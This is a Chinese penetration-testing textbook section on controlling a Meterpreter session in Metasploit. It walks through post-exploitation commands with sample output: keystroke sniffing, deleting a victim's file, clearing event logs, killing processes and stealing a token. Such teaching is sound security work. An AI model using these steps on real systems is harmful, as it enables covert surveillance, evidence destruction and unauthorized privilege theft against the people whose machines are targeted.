6.3 控制Meterpreter

Meterpreter是Metasploit框架中的一个杀手锏,通常作为利用漏洞后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给用户一个控制通道。当使用Armitage、MSFCLI或MSFCONSOLE获取到目标系统上的一个Meterpreter连接时,用户必须使用Meterpreter传递攻击载荷。MSFCONSOLE用于管理用户的会话,而Meterpreter则是攻击载荷和渗透攻击交互。本节将介绍Meterpreter的使用。

Meterpreter包括的一些常见命令如下所示。

  • help:查看帮助信息。
  • background:允许用户在后台Meterpreter会话。
  • download:允许用户从入侵主机上下载文件。
  • upload:允许用户上传文件到入侵主机。
  • execute:允许用户在入侵主机上执行命令。
  • shell:允许用户在入侵主机上(仅是Windows主机)运行Windows shell命令。
  • session -i:允许用户切换会话。

通过打开MSFCONSOLE实现控制。具体操作步骤如下所示。

(1)在MSFCONSOLE上启动一个活跃的会话。

(2)通过利用系统的用户启动登录键盘输入。执行命令如下所示:

meterpreter > keyscan_start
Starting the keystroke sniffer…

从输出的信息中可以看到键盘输入嗅探已启动。

(3)捕获漏洞系统用户的键盘输入。执行命令如下所示:

meterpreter > keyscan_dump
Dumping captured keystrokes…
<Return> www.baidu.com <Return> aaaa <Return> <Back> <Back> <Back> <Back> <Back>

以上输出的信息表示在漏洞系统中用户输入了www.baidu.com,aaaa及回车键、退出键。

(4)停止捕获漏洞系统用户的键盘输入。执行命令如下所示:

meterpreter > keyscan_stop
Stopping the keystroke sniffer…

从输出的信息中可以看到键盘输入嗅探已停止。

(5)删除漏洞系统上的一个文件。执行命令如下所示:

meterpreter > del exploited.docx

(6)清除漏洞系统上的事件日志。执行命令如下所示:

meterpreter > clearev
[*] Wiping 57 records from Application…
[*] Wiping 107 records from System…
[*] Wiping 0 records from Security…

(7)查看正在运行的进程列表。执行命令如下所示:

172-01

输出的信息显示了漏洞系统中正在运行的所有进程,包括进程的ID号、进程名、系统架构、用户及运行程序的路径等。

(8)使用kill杀死漏洞系统中指定的进程号。执行命令如下所示:

meterpreter > kill 2040
Killing: 2040

(9)尝试从漏洞系统窃取一个假冒令牌。执行命令如下所示:

meterpreter > steal_token

173-01注意:使用不同的模块,Meterpreter中的命令是不同的。有些模块中,可能不存在以上命令。